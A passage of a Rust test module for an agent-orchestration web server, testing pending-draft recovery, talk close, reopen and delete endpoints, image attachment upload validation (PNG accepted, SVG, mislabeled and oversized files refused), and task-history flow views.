9606    /// turn straight back rather than draining anything, closing off the
9607    /// possibility of the final assertion passing without the reclaim ever
9608    /// having done its job.
9609    #[tokio::test]
9610    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9611        let tmp = TempDir::new().expect("tempdir");
9612        let repo = tmp.path().join("repo");
9613        std::fs::create_dir_all(&repo).expect("repo dir");
9614        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9615        let home = TempDir::new().expect("temp home");
9616        let talks = Talks::at(home.path().join("talks"));
9617        let ui = Arc::new(
9618            Ui::new(
9619                Queue::at(home.path().join("queue")),
9620                Questions::at(home.path().join("questions")),
9621                talks.clone(),
9622                home.path().join("runs"),
9623                home.path().to_path_buf(),
9624                repo.clone(),
9625            )
9626            .with_worktrees_root(home.path().join("wt")),
9627        );
9628        let cfg = config_for(&repo).await.expect("discover config");
9629
9630        for attempt in 0..3u32 {
9631            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9632            let id = talk.id.clone();
9633            // A turn is already running, which is what sends `talk_say` down
9634            // the busy branch.
9635            let turn_guard = ui
9636                .begin_talk_turn(&id)
9637                .expect("claim the turn")
9638                .expect("a fresh talk owes nobody a turn");
9639
9640            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9641            let (release_tx, release_rx) = std::sync::mpsc::channel();
9642            ui.set_busy_queue_gate(BusyQueueGate {
9643                reached: reached_tx,
9644                release: release_rx,
9645            });
9646
9647            let handler = tokio::spawn(talk_say(
9648                State(Arc::clone(&ui)),
9649                Path(id.clone()),
9650                Ok(Json(NewTalkTurn {
9651                    text: "what does the queue module do?".to_owned(),
9652                    attachments: Vec::new(),
9653                })),
9654            ));
9655
9656            // Wait for the busy branch to actually reach the gate, rather
9657            // than for any fixed number of polls of anything - a bounded
9658            // wait rather than a bare `.await` so a regression that never
9659            // reaches the gate fails the test instead of hanging it.
9660            tokio::time::timeout(Duration::from_secs(5), reached_rx)
9661                .await
9662                .unwrap_or_else(|_| {
9663                    panic!(
9664                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9665                    )
9666                })
9667                .expect("the busy branch dropped the gate without using it");
9668
9669            // The turn that was running now finishes and gives the slot up
9670            // the way a real one does - through `drain_loop`, which finds
9671            // nothing queued yet (the write is still held at the gate) and
9672            // releases. The handler, parked inside `spawn_blocking` on the
9673            // other side of the gate, still believes the talk is busy -
9674            // exactly the interleaving the reclaim exists for.
9675            let running = talks.get(&id).expect("reload talk");
9676            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9677
9678            // Drop the handler future now, the way a reloading phone drops
9679            // it: suspended waiting on the busy branch's answer, having
9680            // itself made no more progress since it handed the write off.
9681            handler.abort();
9682            let _ = handler.await;
9683
9684            // Only now let the gated write proceed. It persists the draft
9685            // and reclaims the now-free slot from inside the task the busy
9686            // branch already spawned - unaffected by the handler's abort
9687            // above, since that task was independent of the handler's own
9688            // future from the moment it was spawned.
9689            let _ = release_tx.send(());
9690
9691            // A settled talk: the draft drained into an operator turn and
9692            // answered.
9693            let mut fresh = talks.get(&id).expect("reload talk");
9694            for _ in 0..SETTLE_STEPS {
9695                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9696                    break;
9697                }
9698                tokio::time::sleep(Duration::from_millis(10)).await;
9699                fresh = talks.get(&id).expect("reload talk");
9700            }
9701            assert!(
9702                fresh.pending.is_empty() && fresh.turns.len() == 2,
9703                "attempt {attempt}: talk {id} left the operator's text queued \
9704                 with no drainer - the reclaimed turn was dropped along with \
9705                 the handler future (pending {:?}, {} turns)",
9706                fresh.pending,
9707                fresh.turns.len()
9708            );
9709        }
9710    }
9711
9712    #[tokio::test]
9713    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9714        let (_tmp, _repo, f) = talk_fixture().await;
9715        let id = f.post("/api/talks", None).await.json()["id"]
9716            .as_str()
9717            .expect("id")
9718            .to_owned();
9719        let store = f.talks();
9720        let mut recovered = store.get(&id).expect("opened talk");
9721        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9722            .expect("persist pending draft without a live turn");
9723
9724        let edited = f
9725            .post(
9726                &format!("/api/talks/{id}/pending/edit"),
9727                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9728            )
9729            .await;
9730        assert_eq!(edited.status, 200, "{}", edited.body);
9731        assert!(edited.json()["thinking"].as_bool().unwrap());
9732
9733        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9734        for _ in 0..SETTLE_STEPS {
9735            if detail["turns"].as_array().expect("turns").len() == 2 {
9736                break;
9737            }
9738            tokio::time::sleep(Duration::from_millis(10)).await;
9739            detail = f.get(&format!("/api/talks/{id}")).await.json();
9740        }
9741        let turns = detail["turns"].as_array().expect("turns");
9742        assert_eq!(
9743            turns.len(),
9744            2,
9745            "the recovered draft must run once: {detail}"
9746        );
9747        assert_eq!(turns[0]["body"], "corrected");
9748        assert_eq!(detail["pending"], "");
9749    }
9750
9751    #[tokio::test]
9752    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9753        let tmp = TempDir::new().expect("tempdir");
9754        let repo = tmp.path().join("repo");
9755        std::fs::create_dir_all(&repo).expect("repo dir");
9756        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9757        let f = Fixture::with_repo(repo).await;
9758        let id = f.post("/api/talks", None).await.json()["id"]
9759            .as_str()
9760            .expect("id")
9761            .to_owned();
9762        let store = f.talks();
9763        let mut recovered = store.get(&id).expect("opened talk");
9764        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9765            .expect("persist pending draft without a live turn");
9766
9767        let refused = f
9768            .post(
9769                &format!("/api/talks/{id}/say"),
9770                Some(r#"{"text":"new message"}"#),
9771            )
9772            .await;
9773        assert_eq!(refused.status, 409, "{}", refused.body);
9774        assert!(refused.body.contains("resume"), "{}", refused.body);
9775        let saved = store.get(&id).expect("draft remains after refusal");
9776        assert!(saved.turns.is_empty());
9777        assert_eq!(saved.pending, "saved before restart");
9778
9779        let say_path = format!("/api/talks/{id}/say");
9780        let (first, second) = tokio::join!(
9781            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9782            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9783        );
9784        assert_eq!(first.status, 409, "{}", first.body);
9785        assert_eq!(second.status, 409, "{}", second.body);
9786        let saved = store
9787            .get(&id)
9788            .expect("draft remains after concurrent refusals");
9789        assert!(saved.turns.is_empty());
9790        assert_eq!(saved.pending, "saved before restart");
9791
9792        let resumed = f
9793            .post(&format!("/api/talks/{id}/pending/resume"), None)
9794            .await;
9795        assert_eq!(resumed.status, 202, "{}", resumed.body);
9796        let duplicate = f
9797            .post(&format!("/api/talks/{id}/pending/resume"), None)
9798            .await;
9799        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9800
9801        for _ in 0..SETTLE_STEPS {
9802            if store.get(&id).expect("talk").turns.len() == 2 {
9803                break;
9804            }
9805            tokio::time::sleep(Duration::from_millis(10)).await;
9806        }
9807        let finished = store.get(&id).expect("finished talk");
9808        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9809        assert_eq!(finished.turns[0].body, "saved before restart");
9810        assert!(finished.pending.is_empty());
9811    }
9812
9813    #[tokio::test]
9814    async fn an_image_only_recovered_draft_resumes_without_text() {
9815        let (_tmp, _repo, f) = talk_fixture().await;
9816        let id = f.post("/api/talks", None).await.json()["id"]
9817            .as_str()
9818            .expect("id")
9819            .to_owned();
9820        let uploaded = f
9821            .post_bytes(
9822                &format!("/api/talks/{id}/attachments"),
9823                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9824                PNG_BYTES,
9825            )
9826            .await;
9827        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9828        let attachment = f
9829            .talks()
9830            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9831            .expect("attachment metadata")
9832            .expect("stored attachment");
9833        let store = f.talks();
9834        let mut recovered = store.get(&id).expect("opened talk");
9835        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9836
9837        let resumed = f
9838            .post(&format!("/api/talks/{id}/pending/resume"), None)
9839            .await;
9840        assert_eq!(resumed.status, 202, "{}", resumed.body);
9841        for _ in 0..SETTLE_STEPS {
9842            if store.get(&id).expect("talk").turns.len() == 2 {
9843                break;
9844            }
9845            tokio::time::sleep(Duration::from_millis(10)).await;
9846        }
9847        let finished = store.get(&id).expect("finished talk");
9848        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9849        assert!(finished.turns[0].body.is_empty());
9850        assert_eq!(finished.turns[0].attachments.len(), 1);
9851        assert!(finished.pending_attachments.is_empty());
9852    }
9853
9854    #[tokio::test]
9855    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9856        let (_tmp, _repo, f) = talk_fixture().await;
9857        let id = f.post("/api/talks", None).await.json()["id"]
9858            .as_str()
9859            .expect("id")
9860            .to_owned();
9861        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9862        assert_eq!(closed.status, 200, "{}", closed.body);
9863        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9864            .expect("serialize closed talk");
9865        for (path, body) in [
9866            (format!("/api/talks/{id}/pending/resume"), None),
9867            (
9868                format!("/api/talks/{id}/pending/clear"),
9869                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9870            ),
9871            (
9872                format!("/api/talks/{id}/pending/edit"),
9873                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9874            ),
9875            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9876        ] {
9877            let response = f.post(&path, body).await;
9878            assert_eq!(response.status, 409, "{}", response.body);
9879        }
9880        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9881            .expect("serialize closed talk");
9882        assert_eq!(
9883            after_clear, before_clear,
9884            "clear must not rewrite a closed talk"
9885        );
9886    }
9887
9888    /// Keeps both claims observable long enough to exercise the distinction
9889    /// between one busy talk and a globally locked Chat surface.
9890    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9891
9892    #[tokio::test]
9893    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9894        let tmp = TempDir::new().expect("tempdir");
9895        let repo = tmp.path().join("repo");
9896        std::fs::create_dir_all(&repo).expect("repo dir");
9897        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9898        let f = Fixture::with_repo(repo).await;
9899        let id_a = f.post("/api/talks", None).await.json()["id"]
9900            .as_str()
9901            .unwrap()
9902            .to_owned();
9903        let id_b = f.post("/api/talks", None).await.json()["id"]
9904            .as_str()
9905            .unwrap()
9906            .to_owned();
9907
9908        let a = f
9909            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9910            .await;
9911        assert_eq!(a.status, 202, "{}", a.body);
9912        assert_eq!(a.json()["thinking"], true);
9913        let b = f
9914            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9915            .await;
9916        assert_eq!(b.status, 202, "{}", b.body);
9917        assert_eq!(b.json()["thinking"], true);
9918
9919        let listed = f.get("/api/talks").await.json();
9920        for id in [&id_a, &id_b] {
9921            let view = listed
9922                .as_array()
9923                .unwrap()
9924                .iter()
9925                .find(|talk| talk["id"] == *id)
9926                .unwrap();
9927            assert_eq!(view["thinking"], true, "{listed}");
9928        }
9929        let repeated = f
9930            .post(
9931                &format!("/api/talks/{id_a}/say"),
9932                Some(r#"{"text":"again"}"#),
9933            )
9934            .await;
9935        assert_eq!(repeated.status, 202, "{}", repeated.body);
9936        assert_eq!(repeated.json()["pending"], "again");
9937    }
9938
9939    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
9940    /// few more, since real uploads are never exactly eight bytes.
9941    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9942
9943    #[tokio::test]
9944    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9945        let f = Fixture::start().await;
9946        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9947
9948        let res = f
9949            .post_bytes(
9950                &format!("/api/talks/{id}/attachments"),
9951                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9952                PNG_BYTES,
9953            )
9954            .await;
9955        assert_eq!(res.status, 201, "{}", res.body);
9956        let body = res.json();
9957        assert_eq!(body["name"], "shot.png");
9958        assert_eq!(body["mime"], "image/png");
9959        assert_eq!(body["bytes"], PNG_BYTES.len());
9960        let att_id = body["id"].as_str().expect("id").to_owned();
9961        assert_eq!(
9962            att_id.len(),
9963            32,
9964            "the id must never be a client-suppliable path: {att_id}"
9965        );
9966
9967        let got = f
9968            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9969            .await;
9970        assert_eq!(got.status, 200, "{}", got.body);
9971        assert_eq!(got.header("content-type"), Some("image/png"));
9972        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9973        assert_eq!(got.bytes, PNG_BYTES);
9974    }
9975
9976    #[tokio::test]
9977    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9978        let f = Fixture::start().await;
9979        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9980
9981        // SVG can carry a `<script>`, so it is never on the whitelist even
9982        // though it is a real IANA image type.
9983        let svg = f
9984            .post_bytes(
9985                &format!("/api/talks/{id}/attachments"),
9986                &[("Content-Type", "image/svg+xml")],
9987                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9988            )
9989            .await;
9990        assert!(
9991            (400..500).contains(&svg.status),
9992            "svg must be refused: {} {}",
9993            svg.status,
9994            svg.body
9995        );
9996        assert!(svg.body.contains("SVG"), "{}", svg.body);
9997
9998        let text = f
9999            .post_bytes(
10000                &format!("/api/talks/{id}/attachments"),
10001                &[("Content-Type", "text/plain")],
10002                b"just some text",
10003            )
10004            .await;
10005        assert!(
10006            (400..500).contains(&text.status),
10007            "an unlisted type must be refused: {} {}",
10008            text.status,
10009            text.body
10010        );
10011
10012        // The declared type is a real png, but the size check runs before
10013        // the bytes are even looked at.
10014        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10015        let big = f
10016            .post_bytes(
10017                &format!("/api/talks/{id}/attachments"),
10018                &[("Content-Type", "image/png")],
10019                &oversized,
10020            )
10021            .await;
10022        assert_eq!(
10023            big.status,
10024            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10025            "{}",
10026            big.body
10027        );
10028    }
10029
10030    #[tokio::test]
10031    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10032        let f = Fixture::start().await;
10033        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10034
10035        // A whitelisted `Content-Type`, but bytes that are not actually a
10036        // png - the declared header alone is never trusted.
10037        let res = f
10038            .post_bytes(
10039                &format!("/api/talks/{id}/attachments"),
10040                &[("Content-Type", "image/png")],
10041                b"<html>not a picture</html>",
10042            )
10043            .await;
10044        assert!((400..500).contains(&res.status), "{}", res.body);
10045    }
10046
10047    #[tokio::test]
10048    async fn an_unknown_attachment_id_is_a_404() {
10049        let f = Fixture::start().await;
10050        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10051
10052        let res = f
10053            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10054            .await;
10055        assert_eq!(res.status, 404, "{}", res.body);
10056    }
10057
10058    #[tokio::test]
10059    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10060        let f = Fixture::start().await;
10061        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10062
10063        let uploaded = f
10064            .post_bytes(
10065                &format!("/api/talks/{id}/attachments"),
10066                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10067                PNG_BYTES,
10068            )
10069            .await;
10070        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10071        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10072
10073        let res = f
10074            .post(
10075                &format!("/api/talks/{id}/say"),
10076                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10077            )
10078            .await;
10079        assert_eq!(res.status, 202, "{}", res.body);
10080        let queued = res.json();
10081        let turns = queued["turns"].as_array().expect("turns array");
10082        assert_eq!(
10083            turns.len(),
10084            1,
10085            "an empty body with an attachment is still a turn: {queued}"
10086        );
10087        assert_eq!(turns[0]["who"], "operator");
10088        assert_eq!(turns[0]["body"], "");
10089        let atts = turns[0]["attachments"]
10090            .as_array()
10091            .expect("attachments array");
10092        assert_eq!(atts.len(), 1);
10093        assert_eq!(atts[0]["id"], att_id);
10094        assert_eq!(atts[0]["mime"], "image/png");
10095
10096        // Not only in the response: `record` flushes to disk before the
10097        // agent's own turn is even spawned.
10098        let on_disk = f.talks().get(&id).expect("get");
10099        assert_eq!(on_disk.turns[0].attachments.len(), 1);
10100        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10101    }
10102
10103    #[tokio::test]
10104    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10105        let f = Fixture::start().await;
10106        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10107
10108        let res = f
10109            .post(
10110                &format!("/api/talks/{id}/say"),
10111                Some(&format!(
10112                    r#"{{"text":"hi","attachments":["{}"]}}"#,
10113                    "a".repeat(32)
10114                )),
10115            )
10116            .await;
10117        assert!((400..500).contains(&res.status), "{}", res.body);
10118        assert!(res.body.contains("unknown attachment"), "{}", res.body);
10119
10120        let on_disk = f.talks().get(&id).expect("get");
10121        assert!(
10122            on_disk.turns.is_empty(),
10123            "a rejected attachment id must not partially record the turn: {:?}",
10124            on_disk.turns
10125        );
10126    }
10127
10128    #[tokio::test]
10129    async fn talk_close_makes_the_talk_refuse_further_turns() {
10130        let f = Fixture::start().await;
10131        let id = seed_talk(&f, "20260904-014455-cd34", "open");
10132
10133        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10134        assert_eq!(closed.status, 200, "{}", closed.body);
10135        assert_eq!(closed.json()["status"], "closed");
10136
10137        // Idempotent: closing an already-closed talk is not an error.
10138        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10139        assert_eq!(closed_again.status, 200);
10140        assert_eq!(closed_again.json()["status"], "closed");
10141
10142        let said = f
10143            .post(
10144                &format!("/api/talks/{id}/say"),
10145                Some(r#"{"text":"too late"}"#),
10146            )
10147            .await;
10148        assert_eq!(said.status, 409, "{}", said.body);
10149    }
10150
10151    #[tokio::test]
10152    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10153        let (_tmp, _repo, f) = talk_fixture().await;
10154        let id = f.post("/api/talks", None).await.json()["id"]
10155            .as_str()
10156            .expect("id")
10157            .to_owned();
10158        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10159        assert_eq!(closed.status, 200, "{}", closed.body);
10160
10161        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10162        assert_eq!(reopened.status, 200, "{}", reopened.body);
10163        assert_eq!(reopened.json()["status"], "open");
10164
10165        // Idempotent: reopening an already-open talk is not an error.
10166        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10167        assert_eq!(reopened_again.status, 200);
10168        assert_eq!(reopened_again.json()["status"], "open");
10169
10170        let said = f
10171            .post(
10172                &format!("/api/talks/{id}/say"),
10173                Some(r#"{"text":"still there?"}"#),
10174            )
10175            .await;
10176        assert_eq!(
10177            said.status, 202,
10178            "a reopened talk accepts turns again: {}",
10179            said.body
10180        );
10181    }
10182
10183    #[tokio::test]
10184    async fn talk_reopen_on_an_unknown_id_is_404() {
10185        let f = Fixture::start().await;
10186        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10187        assert_eq!(res.status, 404, "{}", res.body);
10188    }
10189
10190    #[tokio::test]
10191    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10192        let f = Fixture::start().await;
10193        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10194
10195        let deleted = f.delete(&format!("/api/talks/{id}")).await;
10196        assert_eq!(deleted.status, 204, "{}", deleted.body);
10197
10198        let after = f.get(&format!("/api/talks/{id}")).await;
10199        assert_eq!(after.status, 404, "{}", after.body);
10200
10201        let listed = f.get("/api/talks").await.json();
10202        assert!(
10203            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10204            "a deleted talk must not linger in the list: {listed}"
10205        );
10206    }
10207
10208    #[tokio::test]
10209    async fn talk_delete_on_an_unknown_id_is_404() {
10210        let f = Fixture::start().await;
10211        let res = f.delete("/api/talks/nonexistent-id").await;
10212        assert_eq!(res.status, 404, "{}", res.body);
10213    }
10214
10215    /// A task's page lists every run it ever had, in order, and says what kind
10216    /// of attempt each was - including a resume, which re-pushes the same run
10217    /// id, and a run whose record this build cannot read.
10218    #[tokio::test]
10219    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10220        let f = Fixture::start().await;
10221        let (a, b, gone) = (
10222            "20260902-140501-aaaa",
10223            "20260902-140502-bbbb",
10224            "20260902-140503-cccc",
10225        );
10226        write_run(&f.runs(), a, RunStatus::Stalled);
10227        let mut review = RunState::new(
10228            PathBuf::from("/repo/magi"),
10229            "main".to_owned(),
10230            "0123456789abcdef".to_owned(),
10231            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10232                .to_owned(),
10233            Config::default(),
10234        );
10235        review.id = b.to_owned();
10236        review.status = RunStatus::Merged;
10237        write_state(&f.runs(), &review);
10238
10239        let mut task = Task::new(
10240            "retry".to_owned(),
10241            "Do the thing".to_owned(),
10242            PathBuf::from("/repo/magi"),
10243            Source::Human,
10244        );
10245        task.start(a.to_owned());
10246        task.stall("quota");
10247        task.start(a.to_owned());
10248        task.start(b.to_owned());
10249        task.start(gone.to_owned());
10250        f.queue().put(&mut task).expect("file the task");
10251
10252        let res = f.get(&format!("/api/queue/{}", task.id)).await;
10253        assert_eq!(res.status, 200, "{}", res.body);
10254        let v = res.json();
10255        let h = v["history"].as_array().expect("history");
10256        assert_eq!(h.len(), 4, "{v}");
10257        assert_eq!(h[0]["kind"], "competition");
10258        assert_eq!(h[0]["status"], "stalled");
10259        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10260        assert_eq!(h[1]["kind"], "resume", "{v}");
10261        assert!(
10262            h[0]["outcome"]
10263                .as_str()
10264                .unwrap()
10265                .contains("unknown. Pass #2"),
10266            "an earlier pass of a resumed run must not claim the final outcome: {v}"
10267        );
10268        assert!(
10269            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10270            "{v}"
10271        );
10272        assert!(
10273            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10274            "an unrecorded cause must not be narrated as an operator park: {v}"
10275        );
10276        assert_eq!(h[2]["kind"], "review");
10277        assert!(
10278            h[2]["description"]
10279                .as_str()
10280                .unwrap()
10281                .contains("magi/aaaa/A")
10282        );
10283        assert_eq!(h[2]["status"], "merged");
10284        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10285        assert_eq!(v["runs_unreadable"], 1);
10286        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10287        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10288        assert_eq!(nodes[4]["note"], "unreadable");
10289        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10290        assert_eq!(v["instruction"], "Do the thing");
10291        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10292
10293        // The run's own page links back to the task.
10294        let run = f.get(&format!("/api/runs/{a}")).await.json();
10295        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10296
10297        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10298    }
10299
10300    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10301        let mut s = RunState::new(
10302            PathBuf::from("/repo/magi"),
10303            "main".to_owned(),
10304            "0123456789abcdef".to_owned(),
10305            "Do it".to_owned(),
10306            Config::default(),
10307        );
10308        s.status = status;
10309        edit(&mut s);
10310        s
10311    }
10312
10313    fn flow_task(runs: &[&str]) -> Task {
10314        let mut t = Task::new(
10315            "t".to_owned(),
10316            "Do it".to_owned(),
10317            PathBuf::from("/repo/magi"),
10318            Source::Human,
10319        );
10320        for r in runs {
10321            t.start((*r).to_owned());
10322        }
10323        t
10324    }
10325
10326    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10327        let h = task_history(task, |id| {
10328            states
10329                .iter()
10330                .find(|(i, _)| *i == id)
10331                .and_then(|(_, s)| s.clone())
10332        });
10333        task_flow(task, &h, 5, None)
10334    }
10335
10336    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
10337        crate::queue::FollowUp {
10338            run: "20260901-000000-aaaa".to_owned(),
10339            origin_task: origin_task.map(str::to_owned),
10340            pr: "https://example.com/o/r/pull/1".to_owned(),
10341            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
10342                .map(str::to_owned)
10343                .to_vec(),
10344            generation: 1,
10345        }
10346    }
10347
10348    fn parent_task() -> Task {
10349        let mut p = flow_task(&[]);
10350        p.title = "Parent title".to_owned();
10351        p.status = TaskStatus::Done;
10352        p
10353    }
10354
10355    #[test]
10356    fn flow_opens_with_the_parent_task_of_a_followup() {
10357        let p = parent_task();
10358        let pid = p.id.clone();
10359        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
10360        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10361        let n = &f.nodes[0];
10362        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
10363        assert_eq!(
10364            n.label,
10365            format!("Follow-up of {}", crate::queue::short(&pid))
10366        );
10367        assert_eq!(n.detail.as_deref(), Some("Parent title"));
10368        assert_eq!(n.status, Some("done"));
10369        assert_eq!(n.status_of, "task");
10370        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
10371        assert_eq!(f.nodes[1].key, "start");
10372        assert_eq!(f.edges[0].from, "origin");
10373        assert_eq!(
10374            f.edges[0].label,
10375            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
10376        );
10377    }
10378
10379    #[test]
10380    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
10381        let o = followup_origin(
10382            &fu(Some("gone")),
10383            |_| None,
10384            |_| {
10385                Some(RunState::new(
10386                    std::path::PathBuf::from("."),
10387                    "main".to_owned(),
10388                    "0".to_owned(),
10389                    "t".to_owned(),
10390                    crate::config::Config::default(),
10391                ))
10392            },
10393        );
10394        assert!(o.parent.is_none());
10395        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10396        let n = &f.nodes[0];
10397        assert_eq!(n.status_of, "run");
10398        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
10399        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
10400    }
10401
10402    #[test]
10403    fn flow_followup_with_nothing_readable_has_no_link() {
10404        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
10405        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10406        let n = &f.nodes[0];
10407        assert_eq!(n.href, None);
10408        assert_eq!(n.note, Some("unreadable"));
10409        assert!(!n.readable);
10410    }
10411
10412    #[test]
10413    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
10414        let o = followup_origin(&fu(None), |_| None, |_| None);
10415        let mut t = flow_task(&[]);
10416        t.origin_chat = Some("c1".to_owned());
10417        let f = task_flow(&t, &[], 5, Some(&o));
10418        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
10419        t.source = Source::Agent {
10420            run: "c1".to_owned(),
10421            node: crate::queue::CHAT_NODE.to_owned(),
10422        };
10423        let f = task_flow(&t, &[], 5, Some(&o));
10424        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
10425        assert_eq!(
10426            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
10427            ("chat", "origin")
10428        );
10429    }
10430
10431    #[test]
10432    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
10433        let mut p = parent_task();
10434        p.id = "a b/c".to_owned();
10435        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
10436        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
10437    }
10438
10439    #[test]
10440    fn flow_opens_with_the_chat_that_queued_the_task() {
10441        let mut t = flow_task(&[]);
10442        t.source = Source::Agent {
10443            run: "a b/c".to_owned(),
10444            node: crate::queue::CHAT_NODE.to_owned(),
10445        };
10446        let f = flow_for(&t, &[]);
10447        assert_eq!(f.nodes[0].key, "chat");
10448        assert_eq!(f.nodes[0].kind, "chat");
10449        assert_eq!(
10450            f.nodes[0].label,
10451            format!("Chat {}", crate::queue::short("a b/c"))
10452        );
10453        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10454        assert_eq!(f.nodes[1].key, "start");
10455        assert_eq!(
10456            f.edges[0],
10457            FlowEdge {
10458                from: "chat".to_owned(),
10459                to: "start".to_owned(),
10460                label: "queued from chat".to_owned(),
10461                attempt: AttemptCost::None,
10462            }
10463        );
10464    }
10465
10466    #[test]
10467    fn flow_has_no_chat_box_for_other_sources() {
10468        for source in [
10469            Source::Human,
10470            Source::Issue {
10471                number: 3,
10472                repo: "o/r".to_owned(),
10473            },
10474            Source::Agent {
